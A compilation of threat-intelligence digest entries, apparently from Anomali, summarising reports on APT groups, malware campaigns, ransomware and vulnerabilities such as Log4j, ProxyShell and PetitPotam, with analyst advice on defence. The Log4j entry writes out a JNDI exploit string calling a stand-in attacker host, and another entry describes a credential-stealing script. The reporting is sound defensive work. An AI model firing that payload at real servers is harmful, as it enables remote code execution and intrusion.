A Lookback Under the TA410 Umbrella: Its Cyberespionage TTPs and Activity
(published: April 28, 2022)
ESET researchers found three different teams under China-sponsored umbrella cyberespionage group TA410, which is loosely linked to Stone Panda (APT10, Chinese Ministry of State Security). ESET named these teams FlowingFrog, JollyFrog, and LookingFrog. FlowingFrog uses the Royal Road RTF weaponizer described by Anomali in 2019. Infection has two stages: the Tendyron implant followed by a very complex FlowCloud backdoor. JollyFrog uses generic malware such as PlugX and QuasarRAT. LookingFrog’s infection stages feature the X4 backdoor followed by the LookBack backdoor. Besides using different backdoors and exiting from IP addresses located in three different districts, the three teams use similar tools and similar tactics, techniques, and procedures (TTPs).
Analyst Comment: Organizations should keep their web-facing applications such as Microsoft Exchange or SharePoint secured and updated. Educate your employees on handling suspected spearphishing attempts. Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from APTs, including a focus on both network and host-based security. Prevention and detection capabilities should also be in place.

SocGholish and Zloader – From Fake Updates and Installers to Owning Your Systems
(published: April 25, 2022)
Cybereason researchers have compared trending attacks involving SocGholish and Zloader malware. Both infection chains begin with social engineering and malicious downloads masquerading as legitimate software, and both lead to data theft and possible ransomware installation. SocGholish attacks rely on drive-by downloads followed by user execution of purported browser installer or browser update. The SocGholish JavaScript payload is obfuscated using random variable names and string manipulation. The attacker domain names are written in reverse order with the individual string characters being put at the odd index positions. Zloader infection starts by masquerading as a popular application such as TeamViewer. Zloader acts as information stealer, backdoor, and downloader. Active since 2016, Zloader actively evolves and has acquired detection evasion capabilities, such as excluding its processes from Windows Defender and using living-off-the-land (LotL) executables.
Analyst Comment: All applications should be carefully researched prior to installing on a personal or work machine. Applications that request additional permissions upon installation should be carefully vetted prior to allowing permissions. Additionally, all applications, especially free versions, should only be downloaded from trusted vendors.

What’s With The Shared VBA Code Between Transparent Tribe And Other Threat Actors?
(published: February 9, 2022)
A recent discovery has been made that links malicious VBA macro code between multiple groups, namely: Transparent Tribe, Donot Team, SideCopy, Operation Hangover, and SideWinder. These groups operate (or operated) out of South Asia and use a variety of techniques with phishing emails and maldocs to target government and military entities within India and Pakistan. The code is similar enough that it suggests cooperation between APT groups, despite having completely different goals/targets.
Analyst Comment: This research shows that APT groups are sharing TTPs to assist each other, regardless of motive or target. Files that request content be enabled to properly view the document are often signs of a phishing attack. If such a file is sent to you via a known and trusted sender, that individual should be contacted to verify the authenticity of the attachment prior to opening. Thus, any such file attachment sent by unknown senders should be viewed with the utmost scrutiny, and the attachments should be avoided and properly reported to appropriate personnel.

Fake Windows 11 Upgrade Installers Infect You With RedLine Malware
(published: February 9, 2022)
Due to the recent announcement of Windows 11 upgrade availability, an unknown threat actor has registered a domain to trick users into downloading an installer that contains RedLine malware. The site, "windows-upgraded[.]com", is a direct copy of a legitimate Microsoft upgrade portal. Clicking the 'Upgrade Now' button downloads a 734MB ZIP file which contains an excess of dead code; more than likely this is to increase the filesize for bypassing any antivirus scan. RedLine is a well-known infostealer, capable of taking screenshots, using C2 communications, keylogging and more.
Analyst Comment: Any official Windows update or installation files will be downloaded through the operating system directly. If offline updates are necessary, only go through Microsoft sites and subdomains. Never update Windows from a third-party site due to this type of attack.

Earth Lusca Employs Sophisticated Infrastructure, Varied Tools and Techniques
(published: January 17, 2022)
The Earth Lusca threat group is part of the Winnti cluster. It is one of different Chinese groups that share aspects of their tactics, techniques, and procedures (TTPs) including the use of Winnti malware. Earth Lusca were active throughout 2021 committing both cyberespionage operations against government-connected organizations and financially-motivated intrusions targeting gambling and cryptocurrency-related sectors. For intrusion, the group tries different ways in including: spearphishing, watering hole attacks, and exploiting publicly facing servers. Cobalt Strike is one of the group’s preferred post-exploitation tools. It is followed by the use of the BioPass RAT, the Doraemon backdoor, the FunnySwitch backdoor, ShadowPad, and Winnti. The group employs two separate infrastructure clusters, first one is rented Vultr VPS servers used for command-and-control (C2), second one is compromised web servers used to scan for vulnerabilities, tunnel traffic, and Cobalt Strike C2.
Analyst Comment: Earth Lusca often relies on tried-and-true techniques that can be stopped by security best practices, such as avoiding clicking on suspicious email/website links and or reacting on random banners urging to update important public-facing applications. Don’t be tricked to download Adobe Flash update, it was discontinued at the end of December 2020. Administrators should keep their important public-facing applications (such as Microsoft Exchange and Oracle GlassFish Server) updated.

A Deep Dive into DoubleFeature, Equation Group’s Post-Exploitation Dashboard
(published: December 27, 2021)
Check Point researchers have published their findings on the Equation Group’s post-exploitation framework DanderSpritz — a major part of the “Lost in Translation” leak — with a focus on its DoubleFeature logging tool. DoubleFeature (similar to other Equation Group tools) employs several techniques to make forensic analysis difficult: function names are not passed explicitly, but instead a checksum of it; strings used in DoubleFeature are decrypted on-demand per function and they are re-encrypted once function execution completes. DoubleFeature also supports additional obfuscation methods, such as a simple substitution cipher and a stream cipher. In its information gathering DoubleFeature can monitor multiple additional plugins including: KillSuit (also known as KiSu and GrayFish) plugin that is running other plugins, providing a framework for persistence and evasion, MistyVeal (MV) implant verifying that the targeted system is indeed an authentic victim, StraitBizarre (SBZ) cross-platform implant, and UnitedRake remote access tool (UR, EquationDrug).
Analyst Comment: It is important to study Equation Group’s frameworks because some of the leaked exploits were seen exploited by other threat actors. Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from APTs, including a focus on both network and host-based security. Prevention and detection capabilities should also be in place.

Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit
(published: December 10, 2021)
A critical vulnerability, registered as CVE-2021-44228, has been identified in Apache Log4j 2, which is an open source Java package used to enable logging in. The Apache Software Foundation (ASF) rates the vulnerability as a 10 on the common vulnerability scoring system (CVSS) scale. Cisco Talos has observed malicious activity related to CVE-2021-44228 beginning on December 2, 2021. This vulnerability affects millions of users and exploitation proof-of-concept code exists via LunaSec explains how to exploit it in five simple steps. These include: 1: Data from the User gets sent to the server (via any protocol). 2: The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server). 3: The Log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI). 4: This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process. 5: This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.
Analyst Comment: Log4j version 2.15.0 has been released to address this vulnerability, however, it only changes a default setting (log4j2.formatMsgNoLookups) from false to true. This means that if the setting is set back to false, Log4j will again be vulnerable to exploitation. The initial campaigns could have been detected by filtering on certain keywords such as "ldap", "jndi", but this detection method is easily bypassable.

New Malware Hides as Legit Nginx Process on E-Commerce Servers
(published: December 2, 2021)
Researchers at Sansec discovered NginRAT, a new malware variant that has been found on servers in the US, Germany, and France. Put in place to intercept credit card payments, this malware impersonates legitimate nginx processes which makes it very difficult to detect. NginRAT has shown up on systems that were previously infected with CronRAT, a trojan that schedules processes to run on invalid calendar days. This is used as a persistence technique to ensure that even if a malicious process is killed, the malware has a way to re-infect the system.
Analyst Comment: Threat actors are always adapting to the security environment to remain effective. New techniques can still be spotted with behavioural analysis defenses and social engineering training. Ensure that your company's firewall blocks all entry points for unauthorized users, and maintain records of how normal traffic appears on your network. Therefore, it will be easier to spot unusual traffic and connections to and from your network to potentially identify malicious activity.

How Phishing Kits Are Enabling A New Legion Of Pro Phishers
(published: December 2, 2021)
Phishing kits, such as XBALTI are seeing increased use against financial institutions. Mixing email with SMS messages, attackers are targeting companies such as Charles Schwab, J.P. Morgan Chase, RBC Royal Bank and Wells Fargo. Victims are targeted and asked to verify account details. The attack is made to appear legitimate by redirecting to the real sites after information has been harvested.
Analyst Comment: With financial transactions increasing around this time of year, it is likely financially themed malspam and phishing emails will be a commonly used tactic. Therefore, it is crucial that your employees are aware of their financial institution's policies regarding electronic communication. If a user is concerned due to the scare tactics often used in such emails, they should contact their financial institution via legitimate email or another form of communication. Requests to open a document in a sense of urgency and poor grammar are often indicative of malspam or phishing attacks. Said emails should be properly avoided and reported to the appropriate personnel.

Russian Cyberattacks Pose Greater Risk to Governments and Other Insights from Our Annual Report
(published: October 7, 2021)
Approximately 58% of all nation-state attacks observed by Microsoft between July 2020 and June 2021 have been attributed to the Russian-sponsored threat groups, specifically to Cozy Bear (APT29, Nobelium) associated with the Russian Foreign Intelligence Service (SVR). The United States, Ukraine, and the UK were the top three targeted by them. Russian Advanced Persistent Threat (APT) actors increased their effectiveness from a 21% successful compromise rate to a 32% rate comparing year to year. They achieve it by starting an attack with supply-chain compromise, utilizing effective tools such as web shells, and increasing their skills with the cloud environment targeting. Russian APTs are increasingly targeting government agencies for intelligence gathering, which jumped from 3% of their targets a year ago to 53% – largely agencies involved in foreign policy, national security, or defense. Following Russia by the number of APT cyberattacks were North Korea (23%), Iran (11%), and China (8%).
Analyst Comment: As the collection of intrusions for potential disruption operations via critical infrastructure attacks became too risky for Russia, it refocused back to gaining access to and harvesting intelligence. The scale and growing effectiveness of the cyberespionage requires a defence-in-depth approach and tools such as Anomali Match that provide real-time forensics capability to identify potential breaches and known actor attributions.

2021-10-06 19:06:00 | Inside TeamTNT\'s Impressive Arsenal: A Look Into A TeamTNT Server (lien direct) | Authored By: Tara Gould
Key Findings
Anomali Threat Research has discovered an open server to a directory listing that we attribute with high confidence to the German-speaking threat group, TeamTNT.
The server contains source code, scripts, binaries, and cryptominers targeting Cloud environments.
Other server contents include Amazon Web Services (AWS) Credentials stolen from TeamTNT stealers are also hosted on the server.
This inside view of TeamTNT infrastructure and tools in use can help security operations teams to improve detection capabilities for related attacks, whether coming directly from TeamTNT or other cybercrime groups leveraging their tools.
Overview
Anomali Threat Research has identified a TeamTNT server open to directory listing. The server was used to serve scripts and binaries that TeamTNT use in their attacks, and also for the IRC communications for their bot. The directory appears to have been in use since at least August 2021 and was in use as of October 5, 2021. The contents of the directory contain metadata, scripts, source code, and stolen credentials.
TeamTNT is a German-speaking, cryptojacking threat group that targets cloud environments. The group typically uses cryptojacking malware and have been active since at least April 2020.[1] TeamTNT activity throughout 2021 has targeted AWS, Docker, GCP, Linux, Kubernetes, and Windows, which corresponds to usual TeamTNT activity.[2]
Technical Analysis
Scripts (/cmd/)
Figure 1 - Overview of /cmd/
Contained on the server are approximately 50 scripts, most of which are already documented, located in the /cmd/ directory. The objective of the scripts vary and include the following:
AWS Credential Stealer
Diamorphine Rootkit
IP Scanners
Mountsploit
Scripts to set up utils
Scripts to setup miners
Scripts to remove previous miners
Figure 2 - Snippet of AWS Credential Stealer Script
Some notable scripts, for example, is the script that steals AWS EC2 credentials, shown above in Figure 2. The AWS access key, secret key, and token are piped into a text file that is uploaded to the Command and Control (C2) server.
Figure 3 - Chimaera_Kubernetes_root_PayLoad_2.sh
Another interesting script is shown in Figure 3 above, which checks the architecture of the system, and retrieves the XMRig miner version for that architecture from another open TeamTNT server, 85.214.149[.]236.
Binaries (/bin/)
Figure 4 - Overview of /bin
Within the /bin/ folder, shown in Figure 4 above, there is a collection of malicious binaries and utilities that TeamTNT use in their operations.
Among the files are well-known samples that are attributed to TeamTNT, including the Tsunami backdoor and a XMRig cryptominer. Some of the tools have the source code located on the server, such as TeamTNT Bot. The folder /a.t.b contains the source code for the TeamTNT bot, shown in Figures 5 and 6 below. In addition, the same binaries have been found on a TeamTNT Docker, noted in Appendix A.

Microsoft Exchange Servers Still Vulnerable to ProxyShell Exploit
(published: August 23, 2021)
Despite patches a collection of vulnerabilities (ProxyShell) discovered in Microsoft Exchange being available in the July 2021 update, researchers discovered nearly 2,000 of these vulnerabilities have recently been compromised to host webshells. These webshells allow for attackers to retain backdoor access to compromised servers for further exploitation and lateral movement into the affected organizations. Researchers believe that these attacks may be related to the recent LockFile ransomware attacks.
Analyst Comment: Organizations running Microsoft Exchange are strongly encouraged to prioritize updates to prevent ongoing exploitation of these vulnerabilities. In addition, a thorough investigation to discover and remove planted webshells should be undertaken as the patches will not remove planted webshells in their environments. A threat intelligence platform (TIP) such as Anomali Threatstream can be a valuable tool to assist organizations ingesting current indicators of compromise (IOCs) and determine whether their Exchange instances have been compromised.

LockFile: Ransomware Uses PetitPotam Exploit to Compromise Windows Domain Controllers
(published: August 20, 2021)
A new ransomware family, named Lockfile by Symantec researchers, has been observed on the network of a US financial organization. The first known instance of this ransomware was July 20, 2021, and activity is ongoing. This ransomware has been seen largely targeting organizations in a wide range of industries across the US and Asia. The initial access vector remains unknown at this time, but the ransomware leverages the incompletely patched PetitPotam vulnerability (CVE-2021-36942) in Microsoft's Exchange Server to pivot to Domain Controllers (DCs) which are then leveraged to deploy ransomware tools to devices that connect to the DC.

Windows “PetitPotam” Network Attack – How to Protect Against It
(published: July 21, 2021)
Microsoft has released mitigations for a new Windows vulnerability called PetitPotam. Security researcher, Gillesl Lionel, created a proof-of-concept script that abuses Microsoft’s NT Lan Manager (NTLM) protocol called MS-EFSRPC (encrypting file system remote protocol). PetitPotam can only work if certain system functions that are enabled if the following conditions are met: NTLM authentication is enabled on domain, active directory certificate services (AD CS) is being used, certificate authority web enrollment or certificate enrollment we service are enabled. Exploitation can result in a NTLM relay attack, which is a type of man-in-the-middle attack.
Analyst Comment: Microsoft has provided mitigation steps to this attack which includes disabling NTLM on a potentially affected domain, in addition to others.

APT31 Modus Operandi Attack Campaign Targeting France
(published: July 21, 2021)
The French cybersecurity watchdog, ANSSII issued an alert via France computer emergency response team (CERT) discussing attacks targeting multiple French entities. The China-sponsored, advanced persistent threat (APT) group APT31 (Judgment Panda, Zirconium) has been attributed to this ongoing activity. The group was observed using “a network of compromised home routers as operational relay boxes in order to perform stealth reconnaissance as well as attacks.”
Analyst Comment: Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from APTs, including a focus on both network and host-based security. Prevention and detection capabilities should also be in place.

UK and Allies Accuse China for a Pervasive Pattern of Hacking, Breaching Microsoft Exchange Servers
(published: July 19, 2021)
On July 19th, 2021, the US, the UK, and other global allies jointly accused China in a pattern of aggressive malicious cyber activity. First, they confirmed that Chinese state-backed actors (previously identified under the group name Hafnium) were responsible for gaining access to computer networks around the world via Microsoft Exchange servers. The attacks took place in early 2021, affecting over a quarter of a million servers worldwide. Additionally, APT31 (Judgement Panda) and APT40 (Kryptonite Panda) were attributed to Chinese Ministry of State Security (MSS), The US Department of Justice (DoJ) has indicted four APT40 members, and the Cybersecurity and Infrastructure Security Agency (CISA) shared indicators of compromise of the historic APT40 activity.
Analyst Comment: Network defense-in-depth and adherence to information security best practices can assist organizations in reducing the risk. Pay special attention to the patch and vulnerability management, protecting credentials, and continuing network hygiene and monitoring. When possible, enforce the principle of least privilege, use segmentation and strict access control measures for critical data. Organisations can use Anomali Match to perform real time forensic analysis for tracking such attacks.

Microsoft Signed a Malicious Netfilter Rootkit
(published: June 25, 2021)
Security researchers recently discovered a malicious netfilter driver that is signed by a valid Microsoft signing certificate. The files were initially thought to be a false positive due to the valid signing, but further inspection revealed that the malicious driver called out to a Chinese IP. Further research has analyzed the malware, dropper, and Command and Control (C2) commands. Microsoft is still investigating this incident, but has clarified that they did approve the signing of the driver.
Analyst Comment: Malware signed by a trusted source is a threat vector that can be easily missed, as organizations may be tempted to not inspect files from a trusted source. It is important for organizations to have network monitoring as part of their defenses. Additionally, the signing certificate used was quite old, so review and/or expiration of old certificates could prevent this malware from running.

The Leap of a Cycldek-Related Threat Actor
(published: April 5, 2021)
A new sophisticated Chinese campaign was observed between June 2020 and January 2021, targeting government, military and other critical industries in Vietnam, and, to lesser extent, in Central Asia and Thailand. This threat actor uses a "DLL side-loading triad" previously mastered by another Chinese group, LuckyMouse: a legitimate executable, a malicious DLL to be sideloaded by it, and an encoded payload, generally dropped from a self-extracting archive. But the code origins of the new malware used on different stages of this campaign point to a different Chinese-speaking group, Cycldek.
Analyst Comment: Malware authors are always innovating new methods of communicating back to the control servers. Always practice Defense in Depth (do not rely on single security mechanisms - security measures should be layered, redundant, and failsafe).

Hancitor’s Use of Cobalt Strike and a Noisy Network Ping Tool
(published: April 1, 2021)
Hancitor is an information stealer and malware downloader used by a threat actor designated as MAN1, Moskalvzapoe or TA511. Initial infection includes target clicking malspam, then clicking on a link in an opened Google Docs page, and finally clicking to enable macros in the downloaded Word document. In recent months, this actor began using a network ping tool to help enumerate the Active Directory (AD) environment of infected hosts. It generates approximately 1.5 GB of Internet Control Message Protocol (ICMP) traffic.
Analyst Comment: Organizations should use email security solutions to block malicious/spam emails. All email attachments should be scanned for malware before they reach the user's inbox. IPS rules need to be configured properly to identify any reconnaissance attempts e.g. port scan to get early indication of potential breach.

Trojanized Xcode Project Slips XcodeSpy Malware to Apple Developers
(published: March 18, 2021)
Researchers from cybersecurity firm SentinelOne have discovered a malicious version of the legitimate iOS TabBarInteraction Xcode project being distributed in a supply-chain attack. The malware, dubbed XcodeSpy, targets Xcode, an integrated development environment (IDE) used in macOS for developing Apple software and applications. The malicious project is a ripped version of TabBarInteraction, a legitimate project that has not been compromised. Malicious Xcode projects are being used to hijack developer systems and spread custom EggShell backdoors.
Analyst Comment: Researchers attribute this new targeting of Apple developers to North Korea and Lazarus group: similar TTPs of compromising developer supply chain were discovered in January 2021 when North Korean APT was using a malicious Visual Studio project. Moreover, one of the victims of XcodeSpy is a Japanese organization regularly targeted by North Korea. A behavioral detection solution is required to fully detect the presence of XcodeSpy payloads.

Google: This Spectre proof-of-concept shows how dangerous these attacks can be
(published: March 15, 2021)
Google has released a proof of concept (PoC) code to demonstrate the practicality of Spectre side-channel attacks against a browser's JavaScript engine to leak information from its memory. Spectre targeted the process in modern CPUs called speculative execution to leak secrets such as passwords from one site to another. While the PoC demonstrates the JavaScript Spectre attack against Chrome 88's V8 JavaScript engine on an Intel Core i7-6500U CPU on Linux, Google notes it can easily be tweaked for other CPUs, browser versions and operating systems.
Analyst Comment: As the density of microchip manufacturing continues to increase, side-channel attacks are likely to be found across many architectures and are difficult (and in some cases impossible) to remediate in software. The PoC of the practicality of performing such an attack using javascript emphasises that developers of both software and hardware be aware of these types of attacks and the means by which they can be used to invalidate existing security controls.

A new ransomware strain is being used by actors to attack unpatched Microsoft Exchange servers. Microsoft released patches for four vulnerabilities that are being exploited in the wild. The initial round of attacks included installation of web shells onto affected servers that could be used to infect additional computers. While the initial attack appears to have been done by sophisticated actors, the ease and publicity around these vulnerabilities has led to a diverse group of actors all attempting to compromise these servers.
Analyst Comment: Patch and asset management are a critical and often under-resourced aspect of defense in depth. As this particular set of vulnerabilities and attacks are against locally hosted Exchange servers, organization may want to assess whether a hosted solution may make sense from a risk standpoint

China’s ‘Hybrid War’: Beijing’s Mass Surveillance of Australia and the World for Secrets and Scandal
(published: September 14, 2020)
A database containing 2.4 million people has been leaked from a Shenzhen company, Zhenhua Data, believed to have ties to the Chinese intelligence service. The database contains personal information on over 35,000 Australians and prominent figures, and 52,000 Americans. This includes addresses, bank information, birth dates, criminal records, job applications, psychological profiles, and social media. Politicians, lawyers, journalists, military officers, media figures, and Natalie Imbruglia are among the records of Australians contained in the database. While a lot of the information is public, there is also non-public information contributing to claims that China is developing a mass surveillance system.
Recommendation: Users should always remain vigilant about the information they are putting out into the public, and avoid posting personal or sensitive information online.

US Criminal Court Hit by Conti Ransomware; Critical Data at Risk
(published: September 11, 2020)
The Fourth District Court of Louisiana, part of the US criminal court system, appears to have become the latest victim of the Conti ransomware. The court's website was attacked and used to steal numerous court documents related to defendants, jurors, and witnesses, and then install the Conti ransomware. Evidence of the data theft was posted to the dark web. Analysis of the malware by Emsisoft’s threat analyst, Brett Callow, indicates that the ransomware deployed in the attack was Conti, which has code similarity to another ransomware strain, Ryuk. The Conti group, believed to be behind this ransomware as a service, is sophisticated and due to the fact that they receive a large portion of the ransoms paid, they are motivated to avoid detections and continue to develop advanced attacking tools. This attack also used the Trickbot malware in its exploit chain, similar to that used by Ryuk campaigns.
Recommendation: Defense in Depth, including vulnerability remediation and scanning, monitoring, endpoint protection, backups, etc. is key to thwarting increasingly sophisticated attacks. Ransomware attacks are particularly attractive to attackers due to the fact that each successful ransomware attack allows for multiple streams of income. The attackers can not only extort a ransom to decrypt the victim's files (especially in cases where the victim finds they do not have appropriate disaster recovery plans), but they can also monetize the exfiltrated data directly and/or use the data to aid in future attacks. This technique is increasingly used in supply chain compromises to build difficult to detect spearphishing attacks.

Netwalker Ransomware Hits Argentinian Government, Demands $4 Million
(published: September 6, 2020)
The Argentinian immigration agency, Dirección Nacional de Migaciones suffered a ransomware attack that shut down border crossings. After receiving many tech support calls, the computer networks were shut down to prevent further spread of the ransomware, which led to a cecission in border crossings until systems were up again. The ransomware used in this attack is Netwalker ransomware, that left a ransom note demanding initalling $2 million, however when this wasn’t paid in the first week, the ransom increased to $4 million.
Recommendation: Ransomware can potentially be blocked by using endpoint protection solutions (HIDS). Always keep your important files backed up following the 3-2-1 rule: have at least 3 different copies, on 2 different mediums, with 1 off-site. In the case of ransomware infection, the affected system must be wiped and reformatted. Other devices on the network should be checked for similar infections. Always check for a decryptor before considering payment; avoid payment at all costs. Ransomware should be reported to law enforcement agencies who are doing their best to track these actors and prevent ransom from being a profitable business for cyber criminals.
